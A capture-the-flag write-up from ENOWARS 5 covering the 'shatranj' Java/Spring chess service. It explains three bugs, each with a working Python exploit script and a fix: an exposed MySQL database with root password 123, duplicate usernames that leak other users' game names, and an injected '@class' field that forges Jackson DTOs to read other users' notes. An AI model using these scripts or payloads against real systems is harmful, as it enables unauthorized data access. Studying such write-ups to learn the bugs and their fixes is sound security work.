ENOWARS 5 - shatranj
12 July 2021 by Lorenz
shatranj
shatranj is a service, which consists of two parts:
shatranj-server
: backend written in Java which heavily relies on the Spring Framework.shatranj-frontend
: frontend written in NodeJS. We didn’t look further into it.
Backend
Endpoints
The backend implements two unauthenticated endpoints defined in org.shatranj.diwana.shatranjserver.ShatranjServerController
:
- POST
/api/register
: Registers a new user. (Who would have guessed)Body
:username
andpassword
- POST
/api/players
: This endpoint is not implemented at all.
And some authenticated (only accessible by logged-in users) ones (Authentication is done via Basic access Authentication. Username and Password must match a registered user):
-
POST
/api/initialize
: Initialize a new game. (The game is basically chess against a computer. The only difference is you only play with one figure that can move like a queen and a knight and also acts as king)Body
:name
of the game (this is a flag store!)Response
: Empty
-
POST
/api/move
: Perform a move in the current game.Body
:message
parsed in a weird way to a DTO (more on that later). Intended to look like"move": "<from><to>"
, e.g."move": "e1e3"
.Response
: Return value dependent on executed DTO.
-
GET
/api/pastgames
: List past games for current user’s username.Response
: List of information about all past games of current user’s name (including game’s name).
-
GET
/api/replay/{id}
: Gets a replay of a game with givenid
.Response
: List of all moves and game-states (does not include game’s name).
-
POST
/api/strategynote
: Adds a note for the current user.Body
: Content of the note. (Again parsed to a DTO in a weird way. This is a flag store!)Response
: Created note DTO.
-
GET
/api/strategynote/{id}
: Gets a note from the current user with givenid
.Response
: Note DTO
-
GET
/api/Strategynotes
: Gets all notes for the current user.Response
: List of note DTOs
Bug 0: Docker misconfiguration (Exposed Database)
When we look at the docker-compose.yml
, we can see multiple interesting things:
version: '2.1'
services:
db:
image: mysql
ports:
- 3306
environment:
MYSQL_ROOT_PASSWORD: 123
(...)
- The mysql database is exposed publicly (
ports
is used instead ofexpose
) - The default root password is
123
Using this knowledge, it is easy to read all flags from the database. (It is also possible to change the database password 😉.)
Exploit
from pwn import *
import pymysql
team = 'localhost' # target team
# try some possible ports, this range worked quite well
# if you run the service locally, you can use 'docker ps' to find the port
ports = range(49153, 49170)
for port in ports:
try:
conn = pymysql.connect(
host=team,
user="root",
password="123",
port=port,
database="shatranj",
connect_timeout=1,
read_timeout=1
) # try to connect with default credentials
cur = conn.cursor()
cur.execute(
"SELECT message FROM strategy_note UNION SELECT name FROM game;"
) # select entries from both flag stores (strategy note content and game names)
for row in cur.fetchall():
print(row[0]) # possibly flag
break
except Exception as e:
pass # ignore if we connected to a wrong port or bug was fixed
Bug 1: Duplicate usernames + /api/pastgames
This bug is pretty simple, yet we took way to long to find it:
When creating a user, there is no check whether a user with this name already exists:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/register")
public Map<String, String> register(@Valid @RequestBody UserRegisterDTO userDTO) {
logger.info("Trying to register user " + userDTO.getUsername() + ".");
userService.registerUser(userDTO.getUsername(), userDTO.getPassword());
return Map.ofEntries(Map.entry("message", "Successfully registered User " + userDTO.getUsername() + "."));
}
// org.shatranj.diwana.shatranjserver.services.UserService
public void registerUser(final String username, final String password) {
var user = new User();
user.setUsername(username);
user.setPassword((new CustomBCryptPasswordEncoder()).encode(password));
user.setActive(true);
user.setRoles("USER");
userRepository.save(user);
}
and /api/pastgames
returns all past games of all users with the same username as ours:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@RequestMapping("/pastgames")
public List<Game> getPastGames() {
var user = this.getUser();
logger.info("User " + user.getUsername() + "is trying to get his past games.");
return chessService.getGames(user);
}
// org.shatranj.diwana.shatranjserver.services.chess.ChessService
public List<Game> getGames(User user) {
return gameRepository.findAllByActiveAndUserUsername(false, user.getUsername());
}
Exploitation
Say a flag-id is abc
. Then user abc
has a flag stored as name of a past game. To get this flag, we register a new user with the same name (abc
) and query /api/pastgames
authorized as the new user to get all past games for username abc
which will include the flag!
import requests
target = 'localhost' # target team ip
flag_id = 'user_123' # flag id / username
password = 'P455W0R7' # arbitrary
s = requests.session()
s.post(
f'http://{target}:8080/api/register',
json= {'username': flag_id, 'password': password }
) # register user
r = s.get(
f'http://{target}:8080/api/pastgames',
auth = (flag_id, password)
) # get past games
print("\n".join([game["name"] for game in r.json()])) # flags!
Fix
The easiest way to fix this issue is to change /api/pastgames
to match the full user instead of just the username:
// org.shatranj.diwana.shatranjserver.services.chess.ChessService
public List<Game> getGames(User user) {
/* return gameRepository.findAllByActiveAndUserUsername(false, user.getUsername()); */
return gameRepository.findAllByUser(user);
}
Bug 2: Improper DTO de-serialization
Before we look at the bug itself, let’s take a step back and check out the DTOs.
DTOS
There are several DTOs defined:
GameDTO
: Game result.boardState
winner
name
MoveDTO
: Two moves.whiteMove
blackMove
boardStateBefore
MoveReqDTO
: Requested move.move
StrategyNoteDTO
: Note.message
StrategyNoteReqDTO
: Requested Note.id
UserDTO
: User.username
UserRegisterDTO
: Register User.username
password
DTO de-serialization: A right way
When we look at the the /api/register
endpoint, we can see an example for proper DTO parsing:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/register")
public Map<String, String> register(@Valid @RequestBody UserRegisterDTO userDTO) {
logger.info("Trying to register user " + userDTO.getUsername() + ".");
userService.registerUser(userDTO.getUsername(), userDTO.getPassword());
return Map.ofEntries(Map.entry("message", "Successfully registered User " + userDTO.getUsername() + "."));
}
This will automagically use the Spring framework to correctly parse a UserRegisterDTO
from the Request body.
DTO de-serialization: A wrong way
Now that we saw a right way to do it, let’s look at the /api/move
endpoint:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
@PostMapping("/move")
public Object move(@RequestBody String message) throws JsonProcessingException {
var user = this.getUser();
logger.info("User " + user.getUsername() + " is trying to perform a move.");
// removeQuotes removes first and last character, iff input starts end ends with '""'.
message = removeQuotes(message.replace("\\\"", "\""), true);
if (!message.contains("\"move\": ")) {
return Map.ofEntries(
Map.entry("message", "Not a proper chess move"));
}
var input = "{\n" + message + ","
+ "\n\"@class\": \"" + MoveReqDTO.class.getCanonicalName() + "\""
+ "\n" + "}";
return managerService.handleDTOInput(input, user);
}
// org.shatranj.diwana.shatranjserver.services.ManagerService
public Object handleDTOInput(String value, User user) throws JsonProcessingException {
var dto = objectMapper.readValue(value, DTO.class);
if (dto instanceof MoveReqDTO) {
return chessService.makeMove(user, ((MoveReqDTO) dto).getMove());
} else if (dto instanceof StrategyNoteDTO) {
return chessService.saveStrategyNote(user, ((StrategyNoteDTO) dto).getMessage());
} else if (dto instanceof StrategyNoteReqDTO) {
return chessService.getStrategyNote(((StrategyNoteReqDTO) dto).getId());
} else if (dto instanceof UserDTO) {
return userRepository.findAllByUsername(((UserDTO) dto).getUsername())
.stream()
.map(chessService::getStrategyNoteIds)
.flatMap(List::stream)
.collect(Collectors.toList());
} else {
return "Input Error";
}
}
move
\"
is replaced with"
in our message (quotes are un-escaped).- The resulting string is passed to the
removeQuotes
method which will remove the first and last"
if the message starts and ends with""
. - After this, it is checked, that the message contains
"move":
. (If it does not, the method returns an error.) - A JSON string
input
is created from our message:{
message, "@class":"org.shatranj.diwana.shatranjserver.dto.MoveReqDTO"}
input
is passed tohandleDTOInput
handleDTOInput
-
Input is parsed as json to DTO.
-
Depending on subclass, different actions are chose.
-
UserDTO
: Return ids of all notes for username specified in DTO. StrategyNoteReqDTO
: Return content of Note with id specified in DTO. (This might be a flag.)- (…)
-
As the message is attacker controlled (passed as request body) and the first @class
field determines the actual class during de-serialization, we can modify the JSON string, such that input
will no longer be a serialized MoveReqDTO
, but a DTO
of our choosing.
To exploit this, we first craft a message that will be de-serialized into UserDTO
(username is a flag-id again). From this, we will get the ids of all notes for this user. Then we can craft a StrategyNoteReqDTO
to read the content of this note.
Exploit
import requests
target = 'localhost' # target team ip
flag_id = 's' # flag id / username
username = 'S0M3_U53R' # arbitrary
password = 'P455W0R7' # arbitrary
s = requests.session()
s.post(
f'http://{target}:8080/api/register',
json= {'username': username, 'password': password }
) # register user (we need this as /api/move is authenticated)
s.auth = (username, password) # make sure we are authenticated
r = s.post(
f'http://{target}:8080/api/move',
data = f'"@class": "org.shatranj.diwana.shatranjserver.dto.UserDTO", "username":"{flag_id}","move": "aaa"'
) # first "move" --> UserDTO
for id in r.json():
r = s.post(
f'http://{target}:8080/api/move',
data = f'"@class": "org.shatranj.diwana.shatranjserver.dto.StrategyNoteReqDTO", "id":"{id}","move": "aaa"'
) # second "move" --> StrategyNoteReqDTO
print(r.json()["message"]) # may be flag
print(r.text)
Fix
The proper way to fix this issue would be handling the input the same way as the /api/register
endpoint does.
However, this is our CTF-grade fix:
// org.shatranj.diwana.shatranjserver.ShatranjServerController
private String removeQuotes(String input, boolean checkDouble) {
if(input.contains("@class"))
throw new RuntimeException("Nope!");
// (...)
}